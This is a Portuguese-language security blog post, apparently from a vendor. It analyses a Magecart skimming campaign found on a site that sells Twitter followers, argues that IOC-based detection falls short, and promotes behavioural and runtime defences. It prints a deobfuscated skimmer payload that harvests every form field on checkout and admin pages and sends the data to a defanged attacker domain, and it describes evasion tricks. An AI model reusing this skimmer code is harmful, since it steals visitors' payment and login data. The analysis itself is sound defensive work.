Identificamos recentemente um ataque de skimming no estilo Magecart ainda ativo no site WordPress intertwitter[.]com, uma plataforma suspeita que oferece pacotes de seguidores no Twitter (X). Embora isso já seja questionável por si só (comprar seguidores no X viola os Termos de Serviço), o que é ainda mais preocupante é a reutilização de infraestrutura antiga e o tempo que esse ataque permaneceu sem ser detectado.
Relatado originalmente: Sansec, fevereiro de 2024
A Sansec confirma que infraestruturas maliciosas frequentemente permanecem ativas por longos períodos, às vezes por até dois anos. Depender da "polícia da internet" para derrubar servidores desonestos não é, portanto, uma estratégia de defesa confiável.
Willem de Groot -Sansec
O problema da detecção baseada apenas em IOCs
A maioria dos programas de segurança ainda depende fortemente de Indicadores de Comprometimento (IOCs) — domínios maliciosos conhecidos, IPs e hashes — como primeira (e muitas vezes única) linha de defesa. Embora útil, essa abordagem falha em detectar ameaças que evoluem lentamente, reutilizam infraestrutura ou operam em contextos restritos e de alto valor, como o web skimming no lado do cliente.
Neste caso:
- O domínio malicioso safecontentdelivery[.]com foi sinalizado há mais de um ano.
- O mesmo IOC foi reutilizado em múltiplas campanhas de skimming.
- Apesar de ser público há meses, ele permanece ativo, o que indica ausência de aplicação automatizada ou detecção generalizada.
O fato de um IOC ser conhecido não significa que ele está sendo bloqueado.
Os atacantes contam exatamente com isso. Eles reciclam infraestrutura, se escondem em sites menos populares ou duvidosos e aguardam até que a janela de detecção se feche. Afinal, para que reinventar a roda?
Vimos esse domínio aparecer em múltiplas campanhas Magecart ao longo do último ano. Sua longevidade demonstra que defesas baseadas em listas são fáceis de sobreviver.
Como ataques no lado do cliente se escondem à vista de todos
Ataques no lado do cliente são notoriamente difíceis de detectar. Não porque sejam sofisticados em termos de payload, mas porque existem fora do perímetro de visibilidade das ferramentas de segurança tradicionais.
Entenda por quê:
- Não exigem comprometimento do servidor: Um único script injetado (via plugin, biblioteca de terceiros ou XSS armazenado) é suficiente.
- Executados apenas no navegador da vítima: Logs de servidor, WAFs e sistemas de backend nunca enxergam o comportamento malicioso.
- Ofuscação e evasão: Esses scripts usam técnicas como detecção do DevTools, substituição de funções nativas do navegador e exfiltração que contorna o CORS para evitar análise.
- Lógica de ativação furtiva: O script só é ativado em páginas de checkout ou caminhos de administração, reduzindo a exposição e evitando chamar atenção.
Lógica do ataque
- Condição de ativação: Ativado apenas em URLs com /checkout ou /admin.
- Alvos: Todos os campos de formulário
<input>,<select>,<textarea>. - Exfiltração via:
new Image().srcpara contornar o CORS. - Destino: hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php.
- Anti-análise: Ofuscação, adulteração de JSON e detecção de inspeção do navegador.
Payload desofuscado:
if (/checkout|admin/i.test(location.href)) {
const fields = document.querySelectorAll("input, select, textarea");
const data = {};
fields.forEach(field => {
const name = field.name || field.id;
const value = field.tagName === "SELECT"
? field.options[field.selectedIndex].text
: field.value;
if (name && value) data[name] = value;
});
const exfilUrl = `hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php?rnd=${Math.random() * 1e7}&data=${btoa(JSON.stringify(data))}&loc=${btoa(location.href)}`;
new Image().src = exfilUrl;
}Como proteger seu negócio
Depender apenas de IOCs é uma abordagem reativa. Para se defender contra ameaças modernas — especialmente no lado do cliente — você precisa de:
- Análise comportamental: Detecte padrões como raspagem de credenciais/formulários, injeção suspeita de scripts e alterações dinâmicas no DOM.
- Monitoramento de JavaScript em tempo de execução: Use ferramentas que analisem como os scripts se comportam em tempo real no navegador.
- Higiene da cadeia de suprimentos: Minimize dependências de terceiros e use integridade de sub-recursos (SRI) sempre que possível.
- Políticas de Segurança de Conteúdo (CSP): Restrinja quais scripts podem ser executados e para onde podem enviar dados.
- Varredura regular baseada em navegador: Use ferramentas como urlscan.io, scripts com Chrome headless ou monitores comerciais de ameaças web para analisar o que os usuários realmente experienciam.
Para tudo isso, você pode contar com a cside.
P: O que são Indicadores de Comprometimento (IOCs) e por que eles não são suficientes para a cibersegurança?
IOCs são evidências encontradas em logs de sistema, tráfego de rede ou outras fontes de dados que indicam uma possível violação de segurança, como tráfego de rede incomum, atividade suspeita em arquivos ou tentativas de acesso não autorizado. O problema com os IOCs é que eles são reativos, e os atacantes modernos frequentemente mudam de táticas, tornando IOCs anteriores menos eficazes contra novas ameaças emergentes. Ao realizar uma análise aprofundada do payload, a cside consegue prevenir esses novos ataques sem depender de feeds de ameaças estáticos.
P: Como ataques no lado do cliente se escondem das ferramentas de segurança tradicionais?
Ataques no lado do cliente acontecem no navegador do usuário, onde JavaScript malicioso pode ser executado. Ao contrário das ferramentas de segurança tradicionais — como Web Application Firewalls (WAF), Static Application Security Testing (SAST) e outras ferramentas de varredura que focam em perímetros de rede e infraestrutura do lado do servidor — esses ataques exploram vulnerabilidades em JavaScript de terceiros sem interagir com seu backend ou comunicação de servidor. Como resultado, eles conseguem escapar das defesas durante a interação final e mais crítica entre seu código e o dispositivo do usuário.
P: O que é um ataque de skimming Magecart e como ele funciona?
Ataques Magecart têm como alvo sites de e-commerce baseados em Magento, injetando JavaScript malicioso para capturar informações de cartão de crédito durante o checkout. A Visa relata que 70% dos roubos de cartão de crédito ocorrem atualmente por meio de métodos no lado do cliente, como Magecart e e-skimming. Quando os clientes inserem seus dados de pagamento, o código malicioso é executado — ainda que sob certas condições — e captura essas informações. Para o cliente, a transação parece normal, sem que ele perceba que seus dados foram comprometidos.
P: Como os atacantes evitam a detecção ao usar scripts no lado do cliente?
JavaScript de terceiros pode ser fortemente ofuscado, tornando-o difícil de ler. Esses scripts frequentemente utilizam domínios de aparência legítima que imitam o comportamento típico de sites. Muitas vezes, ativam código malicioso que é detonado sob condições específicas ou escondem seu payload dentro de serviços de publicidade legítimos, permitindo capturar informações de formulários de cadastro ou durante checkouts. Como o JavaScript é altamente dinâmico e não precisa interagir com seu servidor, ele pode permanecer fora do alcance das ferramentas de segurança tradicionais. Só é possível bloquear um ataque no lado do cliente se você conseguir ver o payload completo — algo que apenas um proxy completo é capaz de fazer.
P: Como a Política de Segurança de Conteúdo (CSP) pode ajudar a prevenir ataques no lado do cliente?
A implementação de uma política de segurança de conteúdo funciona como uma lista de permissões para os scripts do seu site, analisando apenas os endereços desses scripts. Quando implementada, o navegador bloqueia tudo que não atende a esses critérios. No entanto, a CSP não consegue ver o payload nem prevenir ataques dinâmicos que são detonados sob condições específicas relacionadas a geolocalização, horário ou dispositivo. Só é possível bloquear um ataque no lado do cliente se você conseguir ver o payload completo — algo que apenas um proxy completo é capaz de fazer.
